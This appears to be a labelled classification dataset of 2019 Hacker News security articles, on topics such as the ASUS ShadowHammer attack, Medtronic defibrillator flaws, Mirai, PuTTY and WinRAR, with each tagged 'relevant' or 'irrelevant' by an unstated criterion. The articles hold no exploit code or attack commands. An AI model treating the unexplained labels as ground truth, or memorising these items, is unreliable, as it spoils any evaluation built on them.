"Here's the List of ~600 MAC Addresses Targeted in Recent ASUS Hack EXCLUSIVE — While revealing details of a massive supply chain cyber attack against ASUS customers, Russian security firm Kaspersky last week didn't release the full list all MAC addresses that hackers hardcoded into their malware to surgically target a specific pool of users. Instead, Kaspersky released a dedicated offline tool and launched an online web page where ASUS PC users can search for their MAC addresses to check whether they were in the hit list. However, many believe it is not a convenient way for large enterprises with hundreds of thousands of systems to know if they were targeted or not. List of MAC Addresses Targeted in ASUS Supply Chain Attack To solve this and help other cybersecurity experts continue their hunt for related hacking campaigns, Australian security firm Skylight's CTO Shahar Zini contacted The Hacker News and provided the full list of nearly 583 MAC addresses targeted in the ASUS breach. ""If information regarding targets exists, it should be made publicly available to the security community so we can better protect ourselves,"" Skylight said in a post shared with The Hacker News. ""So, we thought it would be a good idea to extract the list and make it public so that every security practitioner would be able to bulk compare them to known machines in their domain."" Skylight researchers retrieved the list of targeted MAC addresses with the help of the offline tool Kaspersky released, which contains the full list of 619 MAC addresses within the executable, but protected using a salted hash algorithm. They used a powerful Amazon server and a modified version of HashCat password cracking tool to brute force 583 MAC addresses in less than an hour. ""Enter Amazon's AWS p3.16xlarge instance. These beasts carry eight (you read correctly) of NVIDIA's V100 Tesla 16GB GPUs. The entire set of 1300 prefixes was brute-forced in less than an hour."" ASUS Hack: Operation ShadowHammer It was revealed last week that a group of state-sponsored hackers managed to hijack ASUS Live automatic software update server last year and pushed malicious updates to over one million Windows computers worldwide in order to infect them with backdoors. As we reported last week, Kaspersky discovered the attack, which it dubbed Operation ShadowHammer, after its 57,000 users were infected with the backdoored version of ASUS LIVE Update software. The security company then informed ASUS about the ongoing supply chain attack campaign on Jan 31, 2019. After analyzing more than 200 samples of the malicious updates, researchers learned that the hackers, who are not yet attributed to any APT group, only wanted to target a specific list of users identified by their unique MAC addresses, which were hardcoded into the malware. Though the second stage malware was only pushed to nearly 600 targeted users, it doesn't mean that millions of ASUS computers which received the malicious software update are not compromised. How to Check if Your ASUS Laptop Has Been Hacked? After admitting that an unknown group of hackers hacked its servers between June and November 2018, ASUS this week released a new clean version of its LIVE Update application (version 3.6.8) and also promised to add ""multiple security verification mechanisms"" to reduce the chances of further attacks. However, you should know that just installing the clean version of the software update over the malicious package would not remove the malware code from the infected systems. So, to help its customers know if they were a victim of the attack, ASUS also released a diagnostic tool using which you can check whether your ASUS system was affected by the malicious update. If you find your computer MAC address in the list, it means your computer has been backdoored by the malicious update, and ASUS recommends you perform a factory reset to wipe up the entire system. The identity of hackers and their intentions are still unknown. The Hacker News will update you with any new developments.",relevant
"Medtronic's Implantable Defibrillators Vulnerable to Life-Threatening Hacks The U.S. Department of Homeland Security Thursday issued an advisory warning people of severe vulnerabilities in over a dozen heart defibrillators that could allow attackers to fully hijack them remotely, potentially putting lives of millions of patients at risk. Cardioverter Defibrillator is a small surgically implanted device (in patients' chests) that gives a patient's heart an electric shock (often called a countershock) to re-establish a normal heartbeat. While the device has been designed to prevent sudden death, several implanted cardiac defibrillators made by one of the world's largest medical device companies Medtronic have been found vulnerable to two serious vulnerabilities. Discovered by researchers from security firm Clever Security, the vulnerabilities could allow threat actors with knowledge of medical devices to intercept and potentially impact the functionality of these life-saving devices. ""Successful exploitation of these vulnerabilities may allow an attacker with adjacent short-range access to one of the affected products to interfere with, generate, modify, or intercept the radio frequency (RF) communication of the Medtronic proprietary Conexus telemetry system, potentially impacting product functionality and/or allowing access to transmitted sensitive data,"" warns the advisory released by DHS. The vulnerabilities reside in the Conexus Radio Frequency Telemetry Protocol—a wireless communication system used by some of Medtronic defibrillators and their control units to wirelessly connect to implanted devices over the air using radio-waves. Flaw 1: Lack of Authentication in Medtronic's Implantable Defibrillators According to an advisory [PDF] published by Medtronic, these flaws affect more than 20 products, 16 of which are implantable defibrillators and rest are the defibrillators' bedside monitors and programmers. The more critical flaw of the two is CVE-2019-6538 which occurs because the Conexus telemetry protocol does not include any checks for data tampering, nor performs any form of authentication or authorization. The successful exploitation of this vulnerability could allow an attacker within the radio range of the affected device and right radio gear to intercept, spoof, or modify data transmitting between the device and its controller, which could potentially harm or perhaps even kill the patient. ""This communication protocol provides the ability to read and write memory values to affected implanted cardiac devices; therefore, an attacker could exploit this communication protocol to change memory in the implanted cardiac device,"" the DHS says. Flaw 2: Lack of Encryption in Medtronic's Implantable Defibrillators The Conexus telemetry protocol also provides no encryption to secure the telemetry communications, making it possible for attackers within the range to eavesdrop on the communication. This issue has been assigned CVE-2019-6540. However, Medtronic said the vulnerabilities would be hard to take advantage of and harm patients since it requires the following conditions to be met: An unauthorized individual would need to be in close proximity of up to 6 meters (20 feet) to the targeted device or clinic programmer. Conexus telemetry must be activated by a healthcare professional who is in the same room as the patient. Outside of the hospital activation times of devices are limited, which vary patient to patient and are difficult to be predicted by an unauthorized user. The medical technology giant also assures its users that ""neither a cyberattack nor patient harm has been observed or associated with these vulnerabilities"" to this date. Medtronic also noted that its line of implanted pacemakers, including those with Bluetooth wireless functionality, as well as its CareLink Express monitors and CareLink Encore programmers (Model 29901) used by some hospitals and clinics are not vulnerable to either of these flaws. Medtronic has already applied additional controls for monitoring and responding to the abuse of the Conexus protocol by the affected implanted cardiac devices and is working on a fix to address the reported vulnerabilities. The security fix will soon become available, and in the meantime, Medtronic urged ""patients and physicians continue to use these devices as prescribed and intended.""",relevant
"BEWARE – New 'Creative' Phishing Attack You Really Should Pay Attention To A cybersecurity researcher who last month warned of a creative phishing campaign has now shared details of a new but similar attack campaign with The Hacker News that has specifically been designed to target mobile users. Just like the previous campaign, the new phishing attack is also based on the idea that a malicious web page could mimic look and feel of the browser window to trick even the most vigilant users into giving away their login credentials to attackers. Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, shared a new video with The Hacker News, demonstrating how attackers can reproduce native iOS behavior, browser URL bar and tab switching animation effects of Safari in a very realistic manner on a web-page to present fake login pages, without actually opening or redirecting users to a new tab. New Phishing Attack Mimics Mobile Browser Animation and Design As you can see in the video, a malicious website that looks like Airbnb prompts users to authenticate using Facebook login, but upon clicking, the page displays a fake tab switching animation video aimed to trick users into thinking that their browsers are behaving normally. ""The Facebook login page is also definitely fake and is an overlay over the current page that makes it look like an authentic Facebook page,"" Jebara said. ""From the moment a user accesses the malicious website, they are manipulated into performing actions that seem legitimate, all with the purpose of building up their confidence to submit their Facebook password at the final stage of the attack."" If users are not very attentive to details and fail to spot minor differences, they would eventually end up filling the username and password fields on the phishing page, resulting in giving away their social media credentials to the attackers. ""This attack is poorly implemented and contains multiple flaws from both a process and design point of view. Login with Facebook prompts are presented as an external window in Safari, not as an additional tab that the user is switched to, as the origin URL still appears in minimized form over the fake Facebook navigation bar,"" Jebara said. ""Although hackers would probably implement this campaign in a more realistic manner, in its current form, a majority of users would fall for this attack, as the details that give it away are relatively subtle, and more importantly, the user is shown specific 'familiar' actions that seem to turn off the part of the brain that doubts the legitimacy of the page."" How to Protect Against Such New Form of Phishing Scams It should be noted that such advanced phishing attacks are not limited to Facebook, Safari browser or just to iOS mobile users only, but could very easily be adapted to target Android devices or any other social media site as well. Cybercriminals can target different platforms by creating a website that automatically serves different versions of phishing pages based upon what browser app and mobile device operating system victims use. Since there are no clear guidelines to spot such creative phishing attacks, users are highly recommended to: Use password managers that only auto-fill credentials on legit domains, helping you avoid giving away credentials to fake websites. Enable two-factor authentication, wherever available, preventing hackers from accessing your online accounts even if they somehow manage to steal your credentials. Besides this, Jebara also suggests users ask themselves ""Why am I asked to log in?"" Or ""Am I not already logged in to this?"" when hackers try to mimic the logins of popular websites for which you already have an app on your smartphone. Phishing is still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts.",irrelevant
"Libssh Releases Update to Patch 9 New Security Vulnerabilities Libssh2, a popular open source client-side C library implementing the SSHv2 protocol, has released the latest version of its software to patch a total of nine security vulnerabilities. The Libssh2 library is available for all major distributors of the Linux operating systems, including Ubuntu, Red Hat, Debian, and also comes bundled within some distributions and software as a default library. According to an advisory published Monday, all the below listed vulnerabilities that were patched with the release of libssh2 version 1.8.1 lead to memory corruption issues which could result in arbitrary code execution on a client system in certain circumstances. Here's the list of security vulnerabilities patched in Libssh: 1. CVE-2019-3855: Possible integer overflow in transport read that could lead to an out-of-bounds write. A malicious server, or a remote attacker who compromises an SSH server, could send a specially crafted packet which could result in executing malicious code on the client system when a user connects to the server. 2. CVE-2019-3856: Possible integer overflow in keyboard interactive handling allows out-of-bounds write. A malicious or a compromised SSH server can exploit client system by sending a value approaching unsigned int max number of keyboard prompt requests. 3. CVE-2019-3857: Possible integer overflow issue leads to zero-byte allocation and out-of-bounds write. A malicious server could send an SSH_MSG_CHANNEL_REQUEST packet with an exit signal message with a length of max unsigned integer value. 4. CVE-2019-3858: Possible zero-byte allocation leading to an out-of-bounds. Attacking server can send a specially crafted partial SFTP packet with a zero value for the payload length, allowing attackers to cause a Denial of Service or read data in the client memory. 5. CVE-2019-3859: Out-of-bounds reads with specially crafted payloads due to unchecked use of ""_libssh2_packet_require and _libssh2_packet_requirev."" A server could send a specially crafted partial packet in response to various commands such as: sha1 and sha226 key exchange, user auth list, user auth password response, allowing attackers to cause a Denial of Service or read data in the client memory. 6. CVE-2019-3860: Out-of-bounds reads with specially crafted SFTP packets that also lead to Denial of Service or read data in the client memory attacks. 7. CVE-2019-3861: Out-of-bounds reads with specially crafted SSH packets that occurs when the padding length value is greater than the packet length, resulting in the parsing of the corrupted packet. 8. CVE-2019-3862: An out of bounds read issue occurs when the server sends specially crafted SSH_MSG_CHANNEL_REQUEST packets with an exit status message and no payload, resulting in Denial of Service or read data in the client memory. 9. CVE-2019-3863: Integer overflow in the user authenticated keyboard interactive allows out-of-bounds writes. These security vulnerabilities affect all versions of Libssh2 prior to version 1.8.1, and fortunately, there is reportedly no known exploits of these flaw at this time on the Internet. Chris Coulson of Canonical Ltd. was credited for discovering all the nine security vulnerabilities and responsibly disclosing them to the Libssh developers. If you are using Libssh, install the updated version of Libssh as soon as possible. This is not the first time when the popular library has been found vulnerable to security issues. Late last year, its developers patched a four-year-old severe vulnerability in Libssh that allowed unauthenticated attackers to gain unfettered administrative control over a vulnerable server without requiring a password.",relevant
"Critical Magento SQL Injection Vulnerability Discovered – Patch Your Sites If your online e-commerce business is running over the Magento platform, you must pay attention to this information. Magento yesterday released new versions of its content management software to address a total of 37 newly-discovered security vulnerabilities. Owned by Adobe since mid-2018, Magento is one of the most popular content management system (CMS) platform that powers 28% of websites across the Internet with more than 250,000 merchants using the open source e-commerce platform. Though most of the reported issues could only be exploited by authenticated users, one of the most severe flaws in Magento is an SQL Injection vulnerability which can be exploited by unauthenticated, remote attackers. The flaw, which does not have a CVE ID but internally labeled ""PRODSECBUG-2198,"" could allow remote hackers to steal sensitive information from the databases of vulnerable e-commerce websites, including admin sessions or password hashes that could grant hackers access to the admin's dashboard. Affected Magento versions include: Magento Open Source prior to 1.9.4.1 Magento Commerce prior to 1.14.4.1 Magento Commerce 2.1 prior to 2.1.17 Magento Commerce 2.2 prior to 2.2.8 Magento Commerce 2.3 prior to 2.3.1 Since Magento sites not only store users' information but also contain order history and financial information of their customers, the flaw could lead to catastrophic online attacks. Given the sensitive nature of the data Magento e-commerce websites handle on a daily basis as well as the risk the SQL vulnerability represents, Magento developers have decided not to release technical details of the flaw. Besides the SQLi vulnerability, Magento has also patched cross-site request forgery (CSRF), cross-site scripting (XSS), remote code execution (RCE) and other flaws, but exploitation of the majority of those flaws require attackers to be authenticated on the site with some level of privileges. Online store owners are urged to upgrade their e-commerce websites to the recently patched versions as soon as possible before hackers started exploiting the flaw to compromise your websites and steal payment card details of your customers.",relevant
"Unpatched Zero-Days in Microsoft Edge and IE Browsers Disclosed Publicly Exclusive — A security researcher today publicly disclosed details and proof-of-concept exploits for two 'unpatched' zero-day vulnerabilities in Microsoft's web browsers after the company allegedly failed to respond to his responsible private disclosure. Both unpatched vulnerabilities—one of which affects the latest version of Microsoft Internet Explorer and another affects the latest Edge Browser—allow a remote attacker to bypass same-origin policy on victim's web browser. Same Origin Policy (SOP) is a security feature implemented in modern browsers that restricts a web-page or a script loaded from one origin to interact with a resource from another origin, preventing unrelated sites from interfering with each other. In other words, if you visit a website on your web browser, it can only request data from the same origin [domain] the site was loaded from, preventing it from making any unauthorized request on your behalf in order to steal your data, from other sites. However, the vulnerabilities discovered by 20-year-old security researcher James Lee, who shared the details with The Hacker News, could allow a malicious website to perform universal cross-site scripting (UXSS) attacks against any domain visited using the vulnerable Microsoft's web browsers. To successfully exploit these vulnerabilities, all attackers need to do is convince a victim into opening the malicious website [created by hacker], eventually allowing them to steal victim's sensitive data, like login session and cookies, from other sites visited on the same browser. ""The issue is within Resource Timing Entries in Microsoft Browsers which inappropriately leak Cross-Origin URLs after redirection,"" Lee told The Hacker News in an email. The researcher contacted Microsoft and responsibly shared his finding with the company ten months ago, that's almost a year, but the tech giant ignored the issues and did not respond to the disclosure till the date, leaving both the flaws unpatched. Lee has now released proof-of-concept (PoCs) exploits for both issues. The Hacker News has independently tested and confirmed both the zero-day vulnerabilities against the latest version of Internet Explorer and Edge running on a fully-patched Windows 10 operating system. The newly-disclosed vulnerabilities are similar to the ones Microsoft patched last year in its Internet Explorer (CVE-2018-8351) and Edge browsers (CVE-2018-8545). Since the details and PoC for both the zero-days have already been made publicly available, hackers won't take much time to exploit the flaws in an attempt to target Microsoft users. What's disappointing is that there is currently not much that users can do to avoid this problem until Microsoft patches the security issues. You can use other web browsers that are not affected by this vulnerability, such as Chrome or Firefox.",relevant
"Microsoft Releases Patches for 64 Flaws — Two Under Active Attack It's time for another batch of ""Patch Tuesday"" updates from Microsoft. Microsoft today released its March 2019 software updates to address a total of 64 CVE-listed security vulnerabilities in its Windows operating systems and other products, 17 of which are rated critical, 45 important, one moderate and one low in severity. The update addresses flaws in Windows, Internet Explorer, Edge, MS Office, and MS Office SharePoint, ChakraCore, Skype for Business, and Visual Studio NuGet. Four of the security vulnerabilities, all rated important, patched by the tech giant this month were disclosed publicly, of which none were found exploited in the wild. Microsoft Patches Two Zero-Day Flaws Under Active Attack Microsoft has also patched two separate zero-day elevation of privilege vulnerabilities in Windows. Both flaws, also rated as important, reside in Win32k component that hackers are actively exploiting in the wild, including the one that Google warned of last week. If you are unaware, Google last week released a critical update for Chrome web browser to address a high-severity flaw (CVE-2019-5786) that attackers found exploiting in combination with a Windows vulnerability (CVE-2019-0808). Successful exploitation of both flaws together allowed remote attackers to execute arbitrary code on targeted computers running Windows 7 or Server 2008 and take full control of them. The second zero-day elevation of privilege vulnerability in Windows, assigned as CVE-2019-0797, that's also being exploited in the wild is similar to the first one but affects Windows 10, 8.1, Server 2012, 2016, and 2019. This flaw was detected and reported to Microsoft by security researchers Vasily Berdnikov and Boris Larin of Kaspersky Labs, who in a blog post today revealed that the flaw has actively been exploited in targeted attacks by several threat actors including, FruityArmor and SandCat. ""CVE-2019-0797 is a race condition that is present in the win32k driver due to a lack of proper synchronization between undocumented syscalls NtDCompositionDiscardFrame and NtDCompositionDestroyConnection,"" the researchers say. Update Also Patches 17 Critical and 45 Important Flaws As expected, almost all of the listed critical-rated vulnerabilities lead to remote code execution attacks and primarily impact various versions of Windows 10 and Server editions. Most of these flaws reside in Chakra Scripting Engine, VBScript Engine, DHCP Client, and IE. While some of the important-rated vulnerabilities also lead to remote code execution attacks, others allow elevation of privilege, information disclosure, and denial of service attacks. Users and system administrators are strongly recommended to apply the latest security patches as soon as possible to keep hackers and cybercriminals away from taking control of their systems. For installing the latest security patch updates, head on to Settings → Update & Security → Windows Update → Check for updates, on your computer system or you can install the updates manually. Windows 10 Now Automatically Uninstalls Updates That Cause Problems For addressing problematic update issues on Windows 10 devices, Microsoft on Monday introduced a safety measure that automatically uninstalls buggy software updates installed on your system if your operating system detects a startup failure. So after installing this month's security update, if you receive the following notification on your device, your Windows 10 computer has been recovered from a startup failure, and the operating system resolved the failure by uninstalling recently installed Windows updates. ""We removed some recently installed updates to recover your device from a startup failure."" Windows 10 will then automatically block installation of that problematic updates for the next 30 days, and will deliver the update again after investigating and fixing the issue. Adobe also rolled out security updates today to fix just two critical arbitrary code execution vulnerabilities in Adobe Photoshop CC and another in Adobe Digital Editions. Users of the affected Adobe software for Windows and macOS are advised to update their software packages to the latest versions.",relevant
"Mirai Variant Adds Dozen New Exploits to Target Enterprise IoT Devices Security researchers have uncovered a new variant of the infamous Mirai Internet of Things botnet, this time targeting embedded devices intended for use within business environments in an attempt to gain control over larger bandwidth to carry out devastating DDoS attacks. Although the original creators of Mirai botnet have already been arrested and jailed, variants of the infamous IoT malware, including Satori and Okiru, keep emerging due to the availability of its source code on the Internet since 2016. First emerged in 2016, Mirai is well known IoT botnet malware that has the ability to infect routers, and security cameras, DVRs, and other smart devices—which typically use default credentials and run outdated versions of Linux—and enslaves the compromised devices to form a botnet, which is then used to conduct DDoS attacks. New Mirai Variant Targets Enterprise IoT Devices Now, Palo Alto Network Unit 42 researchers have spotted the newest variant of Mirai that's for the first time targeting enterprise-focused devices, including WePresent WiPG-1000 Wireless Presentation systems and LG Supersign TVs. The Mirai variant adds 11 new exploits to its ""multi-exploit battery,"" making it a total of 27 exploits, as well as a new set of ""unusual default credentials"" to use in brute force attacks against Internet-connected devices. ""These new features afford the botnet a large attack surface,"" Unit 42 researchers reported in a blog post published Monday. ""In particular, targeting enterprise links also grants it access to larger bandwidth, ultimately resulting in greater firepower for the botnet for DDoS attacks."" While a remote code execution exploit for LG Supersign TVs (CVE-2018-17173) was made available in September last year, attack code exploiting a command-injection vulnerability in the WePresent WiPG-1000 was published in 2017. Besides these two exploits, the new Mirai variant is also targeting various embedded hardware like: Linksys routers ZTE routers DLink routers Network Storage Devices NVRs and IP cameras After scanning and identifying vulnerable devices, the malware fetches the new Mirai payload from a compromised website and downloads it on a target device, which is then added to the botnet network and eventually can be used to launch HTTP Flood DDoS attacks. Mirai is the infamous botnet that was responsible for some of the record-breaking DDoS attacks, including those against France-based hosting provider OVH and Dyn DNS service that crippled some of the world's biggest sites, including Twitter, Netflix, Amazon, and Spotify. Mirai-based attacks experienced sudden rise after someone publicly released its source code in October 2016, allowing attackers to upgrade the malware threat with newly disclosed exploits according to their needs and targets. ""These [new] developments underscore the importance for enterprises to be aware of the IoT devices on their network, change default passwords, ensure that devices are fully up-to-date on patches,"" researchers said. ""And in the case of devices that cannot be patched, to remove those devices from the network as a last resort."" So the takeaway? Make sure you change the default passwords for your internet-connected devices as soon as you bring them home or in office, and always keep them fully updated with new security patches.",relevant
"Researchers Link 'Sharpshooter' Cyber Attacks to North Korean Hackers Security researchers have finally, with ""high confidence,"" linked a previously discovered global cyber espionage campaign targeting critical infrastructure around the world to a North Korean APT hacking group. Thanks to the new evidence collected by researchers after analyzing a command-and-control (C2) server involved in the espionage campaign and seized by law enforcement. Dubbed Operation Sharpshooter, the cyber espionage campaign targeting government, defense, nuclear, energy, and financial organizations around the world was initially uncovered in December 2018 by security researchers at McAfee. At that time, even after finding numerous technical links to the North Korean Lazarus hacking group, researchers were not able to immediately attribute the campaign due to a potential for false flags. Researchers Analysed Sharpshooter's Command Server Now, according to a press release shared with The Hacker News, a recent analysis of the seized code and command-and-control (C2) server allowed researchers to understand the inner working of the global cyber espionage campaign, concluding that the North Korean state-sponsored hacking group is behind Operation Sharpshooter. Lazarus Group, also known as Hidden Cobra and Guardians of Peace, is believed to be backed by the North Korean government and had reportedly been associated with the 2017 global WannaCry ransomware attack, the 2016 SWIFT Banking hack, as well as the 2014 Sony Pictures hack. The analysis also revealed that the global espionage campaign began as early as September 2017, a year earlier than previously thought and is still ongoing. While previous attacks were primarily targeting telecommunications, government and financial sectors in the United States, Switzerland, and Israel, and other English-speaking countries, newly-discovered evidence suggests that Sharpshooter has expanded its focus to critical infrastructure, with the most recent attacks targeting Germany, Turkey, the United Kingdom, and the United States. Operation Sharpshooter: Global Cyber-Espionage Campaign The global espionage campaign spreads by sending malicious documents containing a weaponized macro to targets via Dropbox. Once opened and downloaded, the macro leverages embedded shellcode to inject the Sharpshooter downloader into the memory of Microsoft Word. cyber espionage attacks North Korean hackers For further exploitation, this in-memory implant then covertly downloads the second-stage Rising Sun malware, which uses source code from the Lazarus Group's backdoor Trojan Duuzer, malware first circulated in 2015 targeting organizations in South Korea. The Rising Sun malware then performs reconnaissance on the victim's network by gathering and encrypting data, including victim devices' computer name, IP address data, native system information and more. ""Access to the adversary's command-and-control server code is a rare opportunity. These systems provide insights into the inner workings of cyber attack infrastructure, are typically seized by law enforcement, and only rarely made available to private sector researchers,"" said Christiaan Beek, McAfee senior principal engineer, and lead scientist. ""The insights gained through access to this code are indispensable in the effort to understand and combat today's most prominent and sophisticated cyber attack campaigns."" Moreover, analysis of the C2 server and file logs also revealed an African connection, as the researchers uncovered a network block of IP addresses originating from a city located in the African nation of Namibia. ""This led McAfee Advanced Threat Research analysts to suspect that the actors behind Sharpshooter may have tested their implants and other techniques in this area of the world prior to launching their broader campaign of attacks,"" the researchers say. The C2 infrastructure used by the attackers has a core backend written in Hypertext Preprocessor (PHP), and Active Server Pages (ASP), which ""appears to be custom and unique to the group"" and has been part of the Lazarus operations since 2017.",irrelevant
"PuTTY Releases Important Software Update to Patch 8 High-Severity Flaws The popular SSH client program PuTTY has released the latest version of its software that includes security patches for 8 high-severity security vulnerabilities. PuTTY is one of the most popular and widely used open-source client-side programs that allows users to remotely access computers over SSH, Telnet, and Rlogin network protocols. Almost 20 months after releasing the last version of its software, the developers of PuTTY earlier this week released the latest version 0.71 for Windows and Unix operating systems. According to an advisory available on its website, all previous versions of the PuTTY software have been found vulnerable to multiple security vulnerabilities that could allow a malicious server or a compromised server to hijack client's system in different ways. Here below I have listed all 8 vulnerabilities with brief information that PuTTY 0.71 has patched: 1) Authentication Prompt Spoofing — Since PuTTY doesn't have a way to indicate whether a piece of terminal output is genuine, the user-interface issue could be exploited by a malicious server to generate a fake authentication prompt at the client side, prompting victims to enter their private key passphrases. ""If the server had also acquired a copy of your encrypted key file (which, for example, you might have considered safe to copy around because it was securely encrypted), then this would give it access to your private key,"" the advisory explains. 2) Code Execution via CHM Hijacking — When a user launches the online help within the PuTTY GUI tools, the software tries to locate its help file alongside its own executable. This behavior could allow an attacker to trick the user into executing malicious code on the client system via the hijacking CHM file. ""If you were running PuTTY from a directory that unrelated code could arrange to drop files into, this means that if somebody contrived to get a file called putty.chm into that directory, then PuTTY would believe it was the real help file, and feed it to htmlhelp.exe."" 3) Buffer Overflow in Unix PuTTY Tools — According to the advisory, if a server opens too many port forwardings, PuTTY for Unix does not bounds-check the input file descriptor it collects while monitoring the collections of active Unix file descriptors for activity, leading to a buffer overflow issue. ""We don't know if this was remotely exploitable, but it could at least be remotely triggered by a malicious SSH server, if you enabled any of the options that allow the server to open a channel: remote-to-local port forwarding, agent forwarding or X11 forwarding,"" the advisory says. 4) Reusing Cryptographic Random Numbers — This issue resides in the way cryptographic random number generator in PuTTY, occasionally using the same batch of random bytes twice. ""This occurred because of a one-byte buffer overflow in the random pool code. If entropy from an external source was injected into the random pool exactly when the current-position index was pointing at the very end of the pool, it would overrun the pool buffer by one byte and overwrite the low byte of the position index itself."" 5) Integer Overflow Flaw — All prior versions of PuTTY suffers an Integer overflow issue due to missing key-size check-in RSA key exchange. A remote server can trigger the vulnerability by sending a short RSA key, leading to an integer overflow and uncontrolled overwriting of memory. PuTTY developers are not sure if this flaw can be exploited to gain control over the client, but since the issue occurs during key exchange and happens before host key checking, the overflow can be induced by a MitM attack even if the middle man does not know the correct host key. So even if you trust the server you think you are connecting to, you are not safe."" 6, 7 and 8) Terminal DoS Attacks — Last three vulnerabilities in PuTTY allows a server to crash, or slow down client's terminal by sending different text outputs. Servers can send a long unbroken string of Unicode characters to the client's terminal, which could lead to a denial-of-service attack by causing the system to allocate potentially unlimited amounts of memory. The second DoS attack can be triggered by sending combining characters, double-width text, an odd number of terminal columns, and GTK to the client's terminal in output. In the third DoS attack, by sending width-2 characters used by Chinese, Japanese and Korean to the client, PuTTY's terminal emulator can be forced to crash. If you use PuTTY, make sure you download and use the latest version of it.",relevant
"New Google Chrome Zero-Day Vulnerability Found Actively Exploited in the Wild You must update your Google Chrome immediately to the latest version of the web browsing application. Security researcher Clement Lecigne of Google's Threat Analysis Group discovered and reported a high severity vulnerability in Chrome late last month that could allow remote attackers to execute arbitrary code and take full control of the computers. The vulnerability, assigned as CVE-2019-5786, affects the web browsing software for all major operating systems including Microsoft Windows, Apple macOS, and Linux. Without revealing technical details of the vulnerability, the Chrome security team only says the issue is a use-after-free vulnerability in the FileReader component of the Chrome browser, which leads to remote code execution attacks. What's more worrisome? Google warned that this zero-day RCE vulnerability is actively being exploited in the wild by attackers to target Chrome users. ""Access to bug details and links may be kept restricted until a majority of users are updated with a fix,"" the Chrome security team notes. ""We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed."" FileReader is a standard API that has been designed to allow web applications to asynchronously read the contents of files (or raw data buffers) stored on a user's computer, using 'File' or 'Blob' objects to specify the file or data to read. update download google chrome The use-after-free vulnerability is a class of memory corruption bug that allows corruption or modification of data in memory, enabling an unprivileged user to escalate privileges on an affected system or software. The use-after-free vulnerability in the FileReader component could enable unprivileged attackers to gain privileges on the Chrome web browser, allowing them to escape sandbox protections and run arbitrary code on the targeted system. It appears to exploit this vulnerability, all an attacker needs to do is tricking victims into just opening, or redirecting them to, a specially-crafted webpage without requiring any further interaction. The patch for the security vulnerability has already been rolled out to its users in a stable Chrome update 72.0.3626.121 for Windows, Mac, and Linux operating systems, which users may have already receive or will soon receive in coming days. So, make sure your system is running the updated version of the Chrome web browser. We will update the article, as soon as Google releases technical details of this vulnerability.",relevant
"Patched WinRAR Bug Still Under Active Attack—Thanks to No Auto-Updates Various cyber criminal groups and individual hackers are still exploiting a recently patched critical code execution vulnerability in WinRAR, a popular Windows file compression application with 500 million users worldwide. Why? Because the WinRAR software doesn't have an auto-update feature, which, unfortunately, leaves millions of its users vulnerable to cyber attacks. The critical vulnerability (CVE-2018-20250) that was patched late last month by the WinRAR team with the release of WinRAR version 5.70 beta 1 impacts all prior versions of WinRAR released over the past 19 years. For those unaware, the vulnerability is ""Absolute Path Traversal"" bug that resides in the old third-party library UNACEV2.DLL of WinRAR and allows attackers to extract a compressed executable file from the ACE archive to one of the Windows Startup folders, where the malicious file would automatically run on the next reboot. Therefore, to successfully exploit this vulnerability and take full control over the targeted computers, all an attacker needs to do is just convincing users into opening a maliciously-crafted compressed archive file using WinRAR. hack winrar Immediately after the details and proof-of-concept (PoC) exploit code went public, malicious attackers started exploiting the vulnerability in a malspam email campaign to install malware on users' computers running the vulnerable version of the software. Now, security researchers from McAfee reported that they identified more than ""100 unique exploits and counting"" in the first week since the vulnerability was publicly disclosed, with most of the initial targets residing in the United States. One recent campaign spotted by the researchers piggybacks on a bootlegged copy of an Ariana Grande's hit album, which is currently being detected as malware by only 11 security products, whereas 53 antivirus products fail to alert their users at the time of writing. The malicious RAR file (Ariana_Grande-thank_u,_next(2019)_[320].rar) detected by McAfee extracts a list of harmless MP3 files to the victim's download folder but also drops a malicious EXE file to the startup folder, which has been designed to infect the targeted computer with malware. ""When a vulnerable version of WinRAR is used to extract the contents of this archive, a malicious payload is created in the Startup folder behind the scenes,"" the researchers explain. ""User Access Control (UAC) is bypassed, so no alert is displayed to the user. The next time the system restarts, the malware is run."" Unfortunately, such campaigns are still ongoing, and the best way to protect yourself from such attacks is to update your system by installing the latest version of the WinRAR software as soon as possible and avoid opening files received from unknown sources.",relevant
"Adobe Releases Security Patches for Flash, Acrobat Reader, Other Products Good morning readers, it's Patch Tuesday again—the day of the month when Adobe and Microsoft release security patches for their software. Adobe just released its monthly security updates to address a total of 40 security vulnerabilities in several of its products, including Flash Player, Adobe Acrobat and Reader, and Shockwave Player. According to an advisory, Adobe Acrobat and Reader applications for Microsoft Windows and Apple macOS operating systems are vulnerable to a total 21 vulnerabilities, 11 of which have been rated as critical in severity. Upon successful exploitation, all critical vulnerabilities in Adobe Acrobat and Reader software lead to arbitrary code execution, allowing attackers to take complete control over targeted systems. Remaining ten vulnerabilities in the most widely used PDF reader are all rated as important and could lead to information disclosure. If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe Acrobat and Reader software. Here we have compiled a brief list of all vulnerabilities Adobe patched this month in its various products: Adobe Acrobat and Reader — 11 Critical and 10 Important Flaws Adobe Flash Player — 2 Critical Flaws Adobe Shockwave Player — 7 Critical Flaws Adobe Dreamweaver — 1 Moderate Flaw Adobe XD — 2 Critical Flaws Adobe InDesign — 1 Critical Flaw Adobe Experience Manager Forms —1 Important Flaw Adobe Bridge CC — 2 Critical and 3 Important Flaws Adobe has released updated versions of Flash Player for Windows, macOS, Linux, and Chrome OS to address two security vulnerabilities, one of which is critical and the other is important in severity. Flash Player, which will receive security patch updates until the end of 2020, addresses a critical use-after-free vulnerability (CVE-2019-7096) that could potentially allow an attacker to run arbitrary code on the affected systems. The company has also patched 7 critical vulnerabilities in Adobe Shockwave Player—most likely the last update for the software. That's because, effective from today (April 9, 2019), Adobe has discontinued support for Shockwave for Windows. Users of affected Adobe software for Windows, macOS, Linux, and Chrome OS are urged to update their software packages to the latest versions as soon as possible. According to the company, none of the listed vulnerabilities has been found exploited in the wild.",relevant
